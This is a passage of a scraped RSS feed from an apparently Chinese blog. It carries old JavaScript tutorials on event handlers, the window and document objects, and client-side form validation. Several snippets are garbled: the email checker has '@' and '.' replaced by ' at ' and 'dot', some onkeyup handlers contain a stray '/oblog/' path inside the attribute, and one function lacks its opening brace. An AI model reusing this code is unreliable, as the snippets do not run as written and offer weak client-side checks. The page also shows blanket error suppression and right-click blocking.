		<description><![CDATA[事件处理概述<br/>　　 事件处理是对象化编程的一个很重要的环节，没有了事件处理，程序就会变得很死，缺乏灵活性。事件处理的过程可以这样表示：发生事<br/><br/>件 - 启动事件处理程序 - 事件处理程序作出反应。其中，要使事件处理程序能够启动，必须先告诉对象，如果发生了什么事情，要启动什么<br/><br/>处理程序，否则这个流程就不能进行下去。事件的处理程序可以是任意 Javascri&#112;t 语句，但是我们一般用特定的自定义函数（function）来<br/><br/>处理事情。<br/>指定事件处理程序有三种方法：<br/>方法一 直接在 HTML 标记中指定。这种方法是用得最普遍的。方法是：<br/>&lt;标记 ... ... 事件=&#34;事件处理程序&#34; [事件=&#34;事件处理程序&#34; ...]&gt;<br/>让我们来看看例子：<br/>&lt;body ... onload=&#34;alert(&#39;网页读取完成，请慢慢欣赏！&#39;)&#34; onunload=&#34;alert(&#39;再见！&#39;)&#34;&gt;<br/>这样的定义&lt;body&gt;标记，能使文档读取完毕的时候弹出一个对话框，写着“网页读取完成，请慢慢欣赏”；在用户退出文档（或者关闭窗口，<br/><br/>或者到另一个页面去）的时候弹出“再见”。<br/>方法二 编写特定对象特定事件的 Javascri&#112;t。这种方法用得比较少，但是在某些场合还是很好用的。方法是：<br/>&lt;script language=&#34;Javascri&#112;t&#34; for=&#34;对象&#34; event=&#34;事件&#34;&gt; <br/>...<br/>(事件处理程序代码)<br/>...<br/>&lt;/script&gt;<br/>&lt;script language=&#34;Javascri&#112;t&#34; for=&#34;window&#34; event=&#34;onload&#34;&gt;<br/>&nbsp;&nbsp;alert(&#39;网页读取完成，请慢慢欣赏！&#39;);<br/>&lt;/script&gt;<br/>方法三 在 Javascri&#112;t 中说明。方法：<br/>&lt;事件主角 - 对象&gt;.&lt;事件&gt; = &lt;事件处理程序&gt;;<br/>用这种方法要注意的是，“事件处理程序”是真正的代码，而不是字符串形式的代码。如果事件处理程序是一个自定义函数，如无使用参数的<br/><br/>需要，就不要加“()”。<br/>function ignoreError() {<br/>&nbsp;&nbsp;return true;<br/>}<br/>window.onerror = ignoreError; // 没有使用“()”<br/>这个例子将 ignoreError() 函数定义为 window 对象的 onerror 事件的处理程序。它的效果是忽略该 window 对象下任何错误（由引用不允<br/><br/>许访问的 location 对象产生的“没有权限”错误是不能忽略的）。<br/><br/>事件详解<br/><br/><br/><br/>onblur 事件 发生在窗口失去焦点的时候。应用于：window 对象<br/><br/>onchange 事件 发生在文本输入区的内容被更改，然后焦点从文本输入区移走之后。捕捉此事件主要用于实时检测输入的有效性，或者立刻改<br/><br/>变文档内容。应用于：Password 对象；Sel&#101;ct 对象；Text 对象；Textarea 对象<br/><br/>onclick 事件 发生在对象被单击的时候。单击是指鼠标停留在对象上，按下鼠标键，没有移动鼠标而放开鼠标键这一个完整的过程。一个普通<br/><br/>按钮对象（Button）通常会有 onclick 事件处理程序，因为这种对象根本不能从用户那里得到任何信息，没有 onclick 事件处理程序就等于<br/><br/>废柴。按钮上添加 onclick 事件处理程序，可以模拟“另一个提交按钮”，方法是：在事件处理程序中更改表单的 action, target, <br/><br/>encoding, method 等一个或几个属性，然后调用表单的 submit() 方法。在 Link 对象的 onclick 事件处理程序中返回 false 值（return <br/><br/>false），能阻止浏览器打开此连接。即，如果有一个这样的连接：&lt;a href=&#34;<a href="http://www.a.com" target="_blank" rel="external">http://www.a.com</a>&#34; onclick=&#34;return false&#34;&gt;Go!&lt;/a&gt;，那么无<br/><br/>论用户怎样点击，都不会去到 www.a.com 网站，除非用户禁止浏览器运行 Javascri&#112;t。应用于：Button 对象；Checkbox 对象；Image 对象<br/><br/>；Link 对象；Radio 对象；Reset 对象；Submit 对象<br/><br/>onerror 事件 发生在错误发生的时候。它的事件处理程序通常就叫做“错误处理程序”(Error Handler)，用来处理错误。上边已经介绍过，<br/><br/>要忽略一切错误，就使用：<br/>function ignoreError() {<br/>&nbsp;&nbsp;return true;<br/>}<br/>window.onerror = ignoreError;<br/>应用于：window 对象<br/><br/>onfocus 事件 发生在窗口得到焦点的时候。应用于：window 对象<br/><br/>onload 事件 发生在文档全部下载完毕的时候。全部下载完毕意味着不但 HTML 文件，而且包含的图片，插件，控件，小程序等全部内容都下<br/><br/>载完毕。本事件是 window 的事件，但是在 HTML 中指定事件处理程序的时候，我们是把它写在&lt;body&gt;标记中的。应用于：window 对象<br/><br/>onmousedown 事件 发生在用户把鼠标放在对象上按下鼠标键的时候。参考 onmouseup 事件。应用于：Button 对象；Link 对象<br/><br/>onmouseout 事件 发生在鼠标离开对象的时候。参考 onmouseover 事件。应用于：Link 对象<br/><br/>onmouseover 事件 发生在鼠标进入对象范围的时候。这个事件和 onmouseout 事件，再加上图片的预读，就可以做到当鼠标移到图像连接上，<br/><br/>图像更改的效果了。有时我们看到，在指向一个连接时，状态栏上不显示地址，而显示其它的资料，看起来这些资料是可以随时更改的。它们<br/><br/>是这样做出来的：<br/>&lt;a href=&#34;...&#34; onmouseover=&#34;window.status=&#39;Click Me Please!&#39;; return true;&#34; onmouseout=&#34;window.status=&#39;&#39;; return true;&#34;&gt;<br/>应用于：Link 对象<br/><br/>onmouseup 事件 发生在用户把鼠标放在对象上鼠标键被按下的情况下，放开鼠标键的时候。如果按下鼠标键的时候，鼠标并不在放开鼠标的对<br/><br/>象上，则本事件不会发生。应用于：Button 对象；Link 对象<br/><br/>onreset 事件 发生在表单的“重置”按钮被单击（按下并放开）的时候。通过在事件处理程序中返回 false 值（return false）可以阻止表<br/><br/>单重置。应用于：Form 对象<br/><br/>onresize 事件 发生在窗口被调整大小的时候。应用于：window 对象<br/><br/>onsubmit 事件 发生在表单的“提交”按钮被单击（按下并放开）的时候。可以使用该事件来验证表单的有效性。通过在事件处理程序中返回 <br/><br/>false 值（return false）可以阻止表单提交。应用于：Form 对象<br/><br/>onunload 事件 发生在用户退出文档（或者关闭窗口，或者到另一个页面去）的时候。与 onload 一样，要写在 HTML 中就写到&lt;body&gt;标记里<br/><br/>。　　有的 Web Masters 用这个方法来弹出“调查表单”，以“强迫”来者填写；有的就弹出广告窗口，唆使来者点击连接。我觉得这种<br/><br/>“onunload=&#34;open...&#34;”的方法很不好，有时甚至会因为弹出太多窗口而导致资源缺乏。有什么对来者说就应该在网页上说完，不对吗？　应<br/><br/>用于：window 对象<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=216</link>
			<title><![CDATA[javascri&#112;t窗口对象window与文档对象document的介绍与区别]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Thu,20 May 2010 14:55:20 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=216</guid>
		<description><![CDATA[<p>[window对象]</p>
<p>　　它是一个顶层对象,而不是另一个对象的属性，即浏览器的窗口。</p>
<p>　　属性</p>
<p>　　defaultStatus 缺省的状态条消息</p>
<p>　　document 当前显示的文档(该属性本身也是一个对象)</p>
<p>　　frame 窗口里的一个框架(</p>
<div class="hl-surround">
<div class="hl-main">&lt;FRAME&gt;</div>
</div>
<p>)(该属性本身也是一个对象)</p>
<p>　　frames array 列举窗口的框架对象的数组,按照这些对象在文档中出现的顺序列出(该属性本身也是一个</p>
<p>对象)</p>
<p>　　history 窗口的历史列表(该属性本身也是一个对象)</p>
<p>　　length 窗口内的框架数</p>
<p>　　location 窗口所显示文档的完整(绝对)URL(该属性本身也是一个对象)不要把它与如document.location</p>
<p>混淆,后者是当前显示文档的URL。用户可以改变window.location(用另一个文档取代当前文档),但却不能改变</p>
<p>document.location (因为这是当前显示文档的位置)</p>
<p>　　name 窗口打开时,赋予该窗口的名字</p>
<p>　　opener 代表使用window.open打开当前窗口的脚本所在的窗口(这是Netscape Navigator 3.0beta 3所引</p>
<p>入的一个新属性)</p>
<p>　　parent 包含当前框架的窗口的同义词。frame和window对象的一个属性</p>
<p>　　self 当前窗口或框架的同义词</p>
<p>　　status 状态条中的消息</p>
<p>　　top 包含当前框架的最顶层浏览器窗口的同义词</p>
<p>　　window 当前窗口或框架的同义词,与self相同</p>
<p>　　方法</p>
<p>　　alert() 打开一个Alert消息框</p>
<p>　　clearTimeout() 用来终止setTimeout方法的工作</p>
<p>　　close() 关闭窗口</p>
<p>　　confirm() 打开一个Confirm消息框,用户可以选择OK或Cancel,如果用户单击OK,该方法返回true,单击</p>
<p>Cancel返回false</p>
<p>　　blur() 把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3引入的新方法)</p>
<p>　　focus() 把指定的窗口带到前台(另一个新方法)</p>
<p>　　open() 打开一个新窗口</p>
<p>　　prompt() 打开一个Prompt对话框,用户可向该框键入文本,并把键入的文本返回到脚本</p>
<p>　　setTimeout() 等待一段指定的毫秒数时间,然后运行指令事件处理程序事件处理程序</p>
<p>　　Onload() 页面载入时触发</p>
<p>　　Onunload() 页面关闭时触发</p>
<p>[document对象]</p>
<p>　　该对象是window和frames对象的一个属性,是显示于窗口或框架内的一个文档。</p>
<p>　　属性</p>
<p>　　alinkColor 活动链接的颜色(ALINK)</p>
<p>　　anchor 一个HTMI锚点,使用</p>
<div class="hl-surround">
<div class="hl-main">&lt;A NAME=&gt;</div>
</div>
<p>标记创建(该属性本身也是一个对象)</p>
<p>　　anchors array 列出文档锚点对象的数组(</p>
<div class="hl-surround">
<div class="hl-main">&lt;A NAME=&gt;</div>
</div>
<p>)(该属性本身也是一个对象)</p>
<p>　　bgColor 文档的背景颜色(BGCOLOR)</p>
<p>　　cookie 存储于cookie.txt文件内的一段信息,它是该文档对象的一个属性</p>
<p>　　fgColor 文档的文本颜色(</p>
<div class="hl-surround">
<div class="hl-main">&lt;BODY&gt;</div>
</div>
<p>标记里的TEXT特性)</p>
<p>　　form 文档中的一个窗体(</p>
<div class="hl-surround">
<div class="hl-main">&lt;FORM&gt;</div>
</div>
<p>)(该属性本身也是一个对象)</p>
<p>　　forms anay 按照其出现在文档中的顺序列出窗体对象的一个数组(该属性本身也是一个对象)</p>
<p>　　lastModified 文档最后的修改日期</p>
<p>　　linkColor 文档的链接的颜色,即</p>
<div class="hl-surround">
<div class="hl-main">&lt;BODY&gt;</div>
</div>
<p>标记中的LINK特性(链接到用户没有观察到的文档)</p>
<p>　　link 文档中的一个</p>
<div class="hl-surround">
<div class="hl-main">&lt;A HREF=&gt;</div>
</div>
<p>标记(该属性本身也是一个对象)</p>
<p>　　links array 文档中link对象的一个数组,按照它们出现在文档中的顺序排列(该属性本身也是一个对象)</p>
<p>　　location 当前显示文档的URL。用户不能改变document.location(因为这是当前显示文档的位置)。但是,</p>
<p>可以改变 window.location (用其它文档取代当前文档)window.location本身也是一个对象,而</p>
<p>document.location不是对象</p>
<p>　　referrer 包含链接的文档的URL,用户单击该链接可到达当前文档</p>
<p>　　title 文档的标题(</p>
<div class="hl-surround">
<div class="hl-main">&lt;TITLE&gt;</div>
</div>
<p>)</p>
<p>　　vlinkColor 指向用户已观察过的文档的链接文本颜色,即</p>
<div class="hl-surround">
<div class="hl-main">&lt;BODY&gt;</div>
</div>
<p>标记的VLINK特性</p>
<p>　　方法</p>
<p>　　clear 清除指定文档的内容</p>
<p>　　close 关闭文档流</p>
<p>　　open 打开文档流</p>
<p>　　write 把文本写入文档</p>
<p>　　writeln 把文本写入文档,并以换行符结尾</p>
<p>区别:1、window指窗体。document指页面。document是window的一个子对象。</p>
<p>2、用户不能改变document.location(因为这是当前显示文档的位置)。但是,可以改变window.location (用其它文档取代当前文档)window.location本身也是一个对象,而document.location不是对象</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=212</link>
			<title><![CDATA[js 表单验证]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Sun,16 May 2010 08:31:26 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=212</guid>
		<description><![CDATA[<p>1. 长度限制<br />
&lt;script&gt;<br />
function test() <br />
{<br />
if(document.a.b.value.length&gt;50)<br />
{<br />
alert(&quot;不能超过50个字符！&quot;);<br />
document.a.b.focus();<br />
return false;<br />
}<br />
}<br />
&lt;/script&gt;<br />
&lt;form name=a onsubmit=&quot;return test()&quot;&gt;<br />
&lt;textarea name=&quot;b&quot; cols=&quot;40&quot; wrap=&quot;VIRTUAL&quot; rows=&quot;6&quot;&gt;&lt;/textarea&gt;<br />
&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;check&quot;&gt;<br />
&lt;/form&gt;</p>
<p>2. 只能是汉字 <br />
&lt;input onkeyup=&quot;value=&quot;/oblog/value.replace(/[^\u4E00-\u9FA5]/g,'')&quot;&gt;</p>
<p>3.&quot; 只能是英文<br />
&lt;script language=javascri&#112;t&gt;<br />
function onlyEng()<br />
{<br />
if(!(event.keyCode&gt;=65&amp;&amp;event.keyCode&lt;=90))<br />
event.returnvalue=false;<br />
}<br />
&lt;/script&gt;</p>
<p>&lt;input onkeydown=&quot;onlyEng();&quot;&gt;</p>
<p>4. 只能是数字<br />
&lt;script language=javascri&#112;t&gt;<br />
function onlyNum()<br />
{<br />
if(!((event.keyCode&gt;=48&amp;&amp;event.keyCode&lt;=57)||(event.keyCode&gt;=96&amp;&amp;event.keyCode&lt;=105)))<br />
//考虑小键盘上的数字键<br />
event.returnvalue=false;<br />
}<br />
&lt;/script&gt;</p>
<p>&lt;input onkeydown=&quot;onlyNum();&quot;&gt;</p>
<p>5. 只能是英文字符和数字<br />
&lt;input onkeyup=&quot;value=&quot;/oblog/value.replace(/[\W]/g,&quot;'') &quot;onbeforepaste=&quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&quot;&gt;</p>
<p>6. 验证油箱格式<br />
&lt;SCRIPT LANGUAGE=javascri&#112;t RUNAT=Server&gt;<br />
function isEmail(strEmail) {<br />
if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)<br />
return true;<br />
else<br />
alert(&quot;oh&quot;);<br />
}<br />
&lt;/SCRIPT&gt;<br />
&lt;input type=text onblur=isEmail(this.value)&gt;</p>
<p>7. 屏蔽关键字(这里屏蔽***和****)<br />
&lt;script language=&quot;javascri&#112;t1.2&quot;&gt;<br />
function test() {<br />
if((a.b.value.indexOf (&quot;***&quot;) == 0)||(a.b.value.indexOf (&quot;****&quot;) == 0)){<br />
alert(&quot;:)&quot;);<br />
a.b.focus();<br />
return false;}<br />
}<br />
&lt;/script&gt;<br />
&lt;form name=a onsubmit=&quot;return test()&quot;&gt;<br />
&lt;input type=text name=b&gt;<br />
&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;check&quot;&gt;<br />
&lt;/form&gt;</p>
<p>8. 两次输入密码是否相同<br />
&lt;FORM METHOD=POST ACTION=&quot;&quot;&gt;<br />
&lt;input type=&quot;password&quot; id=&quot;input1&quot;&gt;<br />
&lt;input type=&quot;password&quot; id=&quot;input2&quot;&gt;<br />
&lt;input type=&quot;button&quot; value=&quot;test&quot; onclick=&quot;check()&quot;&gt;<br />
&lt;/FORM&gt;<br />
&lt;script&gt;<br />
function check()<br />
{ <br />
with(document.all){<br />
if(input1.value!=input2.value)<br />
{<br />
alert(&quot;false&quot;)<br />
input1.value = &quot;&quot;;<br />
input2.value = &quot;&quot;;<br />
}<br />
else document.forms[0].submit();<br />
}<br />
}<br />
&lt;/script&gt;<br />
够了吧 :)<br />
屏蔽右键 很酷 <br />
oncontextmenu=&quot;return false&quot; ondragstart=&quot;return false&quot; onselectstart=&quot;return false&quot;<br />
加在body中</p>
<p><br />
二</p>
<p>2.1&nbsp; 表单项不能为空</p>
<p>&lt;script&nbsp; language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function&nbsp; CheckForm()<br />
{&nbsp; <br />
if&nbsp; (document.form.name.value.length&nbsp; ==&nbsp; 0)&nbsp; {&nbsp; <br />
alert(&quot;请输入您姓名!&quot;);<br />
document.form.name.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p>2.2&nbsp; 比较两个表单项的值是否相同</p>
<p>&lt;script&nbsp; language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function&nbsp; CheckForm()<br />
if&nbsp; (document.form.PWD.value&nbsp; !=&nbsp; document.form.PWD_Again.value)&nbsp; {&nbsp; <br />
alert(&quot;您两次输入的密码不一样！请重新输入.&quot;);<br />
document.ADDUser.PWD.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p>2.3&nbsp; 表单项只能为数字和&quot;_&quot;,用于电话/银行帐号验证上,可扩展到域名注册等</p>
<p>&lt;script&nbsp; language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function&nbsp; isNumber(String)<br />
{&nbsp; <br />
var&nbsp; Letters&nbsp; =&nbsp; &quot;1234567890-&quot;;&nbsp; //可以自己增加可输入值<br />
var&nbsp; i;<br />
var&nbsp; c;<br />
if(String.charAt(&nbsp; 0&nbsp; )=='-')<br />
return&nbsp; false;<br />
if(&nbsp; String.charAt(&nbsp; String.length&nbsp; -&nbsp; 1&nbsp; )&nbsp; ==&nbsp; '-'&nbsp; )<br />
return&nbsp; false;<br />
for(&nbsp; i&nbsp; =&nbsp; 0;&nbsp; i&nbsp; &lt;&nbsp; String.length;&nbsp; i&nbsp; ++&nbsp; )<br />
{&nbsp; <br />
c&nbsp; =&nbsp; String.charAt(&nbsp; i&nbsp; );<br />
if&nbsp; (Letters.indexOf(&nbsp; c&nbsp; )&nbsp; &lt;&nbsp; 0)<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
function&nbsp; CheckForm()<br />
{&nbsp; <br />
if(!&nbsp; isNumber(document.form.TEL.value))&nbsp; {&nbsp; <br />
alert(&quot;您的电话号码不合法！&quot;);<br />
document.form.TEL.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
--&gt;<br />
&lt;/script&gt;</p>
<p><br />
2.4&nbsp; 表单项输入数值/长度限定</p>
<p>&lt;script&nbsp; language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--<br />
function&nbsp; CheckForm()&nbsp; <br />
{&nbsp; <br />
if&nbsp; (document.form.count.value&nbsp; &gt;&nbsp; 100&nbsp; ||&nbsp; document.form.count.value&nbsp; &lt;&nbsp; 1)<br />
{&nbsp; <br />
alert(&quot;输入数值不能小于零大于100!&quot;);<br />
document.form.count.focus();<br />
return&nbsp; false;<br />
}<br />
if&nbsp; (document.form.MESSAGE.value.length&lt;10)<br />
{&nbsp; <br />
alert(&quot;输入文字小于10!&quot;);<br />
document.form.MESSAGE.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
//--&gt;<br />
&lt;/script&gt;</p>
<p>2.5&nbsp; 中文/英文/数字/邮件地址合法性判断</p>
<p>&lt;SCRIPT&nbsp; LANGUAGE=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--</p>
<p>function&nbsp; isEnglish(name)&nbsp; //英文值检测<br />
{&nbsp; <br />
if(name.length&nbsp; ==&nbsp; 0)<br />
return&nbsp; false;<br />
for(i&nbsp; =&nbsp; 0;&nbsp; i&nbsp; &lt;&nbsp; name.length;&nbsp; i++)&nbsp; {&nbsp; <br />
if(name.charCodeAt(i)&nbsp; &gt;&nbsp; 128)<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}</p>
<p>function&nbsp; isChinese(name)&nbsp; //中文值检测<br />
{&nbsp; <br />
if(name.length&nbsp; ==&nbsp; 0)<br />
return&nbsp; false;<br />
for(i&nbsp; =&nbsp; 0;&nbsp; i&nbsp; &lt;&nbsp; name.length;&nbsp; i++)&nbsp; {&nbsp; <br />
if(name.charCodeAt(i)&nbsp; &gt;&nbsp; 128)<br />
return&nbsp; true;<br />
}<br />
return&nbsp; false;<br />
}</p>
<p>function&nbsp; isMail(name)&nbsp; //&nbsp; E-mail值检测<br />
{&nbsp; <br />
if(!&nbsp; isEnglish(name))<br />
return&nbsp; false;<br />
i&nbsp; =&nbsp; name.indexOf(&quot;&nbsp; at&nbsp; &quot;);<br />
j&nbsp; =&nbsp; name&nbsp; dot&nbsp; lastIndexOf(&quot;&nbsp; at&nbsp; &quot;);<br />
if(i&nbsp; ==&nbsp; -1)<br />
return&nbsp; false;<br />
if(i&nbsp; !=&nbsp; j)<br />
return&nbsp; false;<br />
if(i&nbsp; ==&nbsp; name&nbsp; dot&nbsp; length)<br />
return&nbsp; false;<br />
return&nbsp; true;<br />
}</p>
<p>function&nbsp; isNumber(name)&nbsp; //数值检测<br />
{&nbsp; <br />
if(name.length&nbsp; ==&nbsp; 0)<br />
return&nbsp; false;<br />
for(i&nbsp; =&nbsp; 0;&nbsp; i&nbsp; &lt;&nbsp; name.length;&nbsp; i++)&nbsp; {&nbsp; <br />
if(name.charAt(i)&nbsp; &lt;&nbsp; &quot;0&quot;&nbsp; ||&nbsp; name.charAt(i)&nbsp; &gt;&nbsp; &quot;9&quot;)<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}</p>
<p>function&nbsp; CheckForm()<br />
{&nbsp; <br />
if(!&nbsp; isMail(form.Email.value))&nbsp; {&nbsp; <br />
alert(&quot;您的电子邮件不合法！&quot;);<br />
form.Email.focus();<br />
return&nbsp; false;<br />
}<br />
if(!&nbsp; isEnglish(form.name.value))&nbsp; {&nbsp; <br />
alert(&quot;英文名不合法！&quot;);<br />
form.name.focus();<br />
return&nbsp; false;<br />
}<br />
if(!&nbsp; isChinese(form.cnname.value))&nbsp; {&nbsp; <br />
alert(&quot;中文名不合法！&quot;);<br />
form.cnname.focus();<br />
return&nbsp; false;<br />
}<br />
if(!&nbsp; isNumber(form.PublicZipCode.value))&nbsp; {&nbsp; <br />
alert(&quot;邮政编码不合法！&quot;);<br />
form.PublicZipCode.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
//--&gt;<br />
&lt;/SCRIPT&gt;</p>
<p>2.6&nbsp; 限定表单项不能输入的字符</p>
<p>&lt;script&nbsp; language=&quot;javascri&#112;t&quot;&gt;<br />
&lt;!--</p>
<p>function&nbsp; contain(str,charset)//&nbsp; 字符串包含测试函数<br />
{&nbsp; <br />
var&nbsp; i;<br />
for(i=0;i&lt;charset.length;i++)<br />
if(str.indexOf(charset.charAt(i))&gt;=0)<br />
return&nbsp; true;<br />
return&nbsp; false;<br />
}</p>
<p>function&nbsp; CheckForm()<br />
{&nbsp; <br />
if&nbsp; ((contain(document.form.NAME.value,&nbsp; &quot;%\(\)&gt;&lt;&quot;))&nbsp; ||&nbsp; (contain(document.form.MESSAGE.value,&nbsp; &quot;%\(\)&gt;&lt;&quot;)))<br />
{&nbsp; <br />
alert(&quot;输入了非法字符&quot;);<br />
document.form.NAME.focus();<br />
return&nbsp; false;<br />
}<br />
return&nbsp; true;<br />
}<br />
//--&gt;<br />
&lt;/script&gt;&nbsp;</p>
<p>1. 检查一段字符串是否全由数字组成&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;script language=&quot;Javascri&#112;t&quot;&gt;&lt;!--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
function checkNum(str){return str.match(/\D/)==null}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
alert(checkNum(&quot;1232142141&quot;))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
alert(checkNum(&quot;123214214a1&quot;))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
// --&gt;&lt;/script&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
2. 怎么判断是否是字符&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
if (/[^\x00-\xff]/g.test(s)) alert(&quot;含有汉字&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
else alert(&quot;全是字符&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
3. 怎么判断是否含有汉字&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
if (escape(str).indexOf(&quot;%u&quot;)!=-1) alert(&quot;含有汉字&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
else alert(&quot;全是字符&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
4. 邮箱格式验证&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
//函数名：chkemail&nbsp;&nbsp;&nbsp;&nbsp; <br />
//功能介绍：检查是否为Email Address&nbsp;&nbsp;&nbsp;&nbsp; <br />
//参数说明：要检查的字符串&nbsp;&nbsp;&nbsp;&nbsp; <br />
//返回值：0：不是 1：是&nbsp;&nbsp;&nbsp;&nbsp; <br />
function chkemail(a)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{ var i=a.length;&nbsp;&nbsp;&nbsp;&nbsp; <br />
var temp = a.indexOf(<a href="http://www.wtwlb.com/mailto:'@'">'@'</a>);&nbsp;&nbsp;&nbsp;&nbsp; <br />
var tempd = a.indexOf('.');&nbsp;&nbsp;&nbsp;&nbsp; <br />
if (temp &gt; 1) {&nbsp;&nbsp;&nbsp;&nbsp; <br />
if ((i-temp) &gt; 3){&nbsp;&nbsp;&nbsp;&nbsp; <br />
if ((i-tempd)&gt;0){&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 1;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 0;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
5. 数字格式验证&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
//函数名：fucCheckNUM&nbsp;&nbsp;&nbsp;&nbsp; <br />
//功能介绍：检查是否为数字&nbsp;&nbsp;&nbsp;&nbsp; <br />
//参数说明：要检查的数字&nbsp;&nbsp;&nbsp;&nbsp; <br />
//返回值：1为是数字，0为不是数字&nbsp;&nbsp;&nbsp;&nbsp; <br />
function fucCheckNUM(NUM)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{&nbsp;&nbsp;&nbsp;&nbsp; <br />
var i,j,strTemp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
strTemp=&quot;0123456789&quot;;&nbsp;&nbsp;&nbsp;&nbsp; <br />
if ( NUM.length== 0)&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 0&nbsp;&nbsp;&nbsp;&nbsp; <br />
for (i=0;i&lt;NUM.length;i++)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{&nbsp;&nbsp;&nbsp;&nbsp; <br />
j=strTemp.indexOf(NUM.charAt(i));&nbsp;&nbsp;&nbsp;&nbsp; <br />
if (j==-1)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{&nbsp;&nbsp;&nbsp;&nbsp; <br />
//说明有字符不是数字&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 0;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
//说明是数字&nbsp;&nbsp;&nbsp;&nbsp; <br />
return 1;&nbsp;&nbsp;&nbsp;&nbsp; <br />
}&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
6. 电话号码格式验证&nbsp;&nbsp;&nbsp; <br />
---------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
//函数名：fucCheckTEL&nbsp;&nbsp;&nbsp;&nbsp; <br />
//功能介绍：检查是否为电话号码&nbsp;&nbsp;&nbsp;&nbsp; <br />
//参数说明：要检查的字符串&nbsp;&nbsp;&nbsp;&nbsp; <br />
//返回值：1为是合法，0为不合法&nbsp;&nbsp;&nbsp;&nbsp; <br />
function fucCheckTEL(TEL)&nbsp;&nbsp;&nbsp;&nbsp; <br />
{&nbsp;&nbsp;&nbsp;&nbsp; <br />
var i,j,strTemp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
strTemp=&quot;0123456789-()# &quot;;&nbsp;&nbsp;&nbsp;&nbsp; <br />
for (i=0;i&lt;TEL.length;i++)&nbsp;&nbsp;&nbsp;&nbsp; <br />
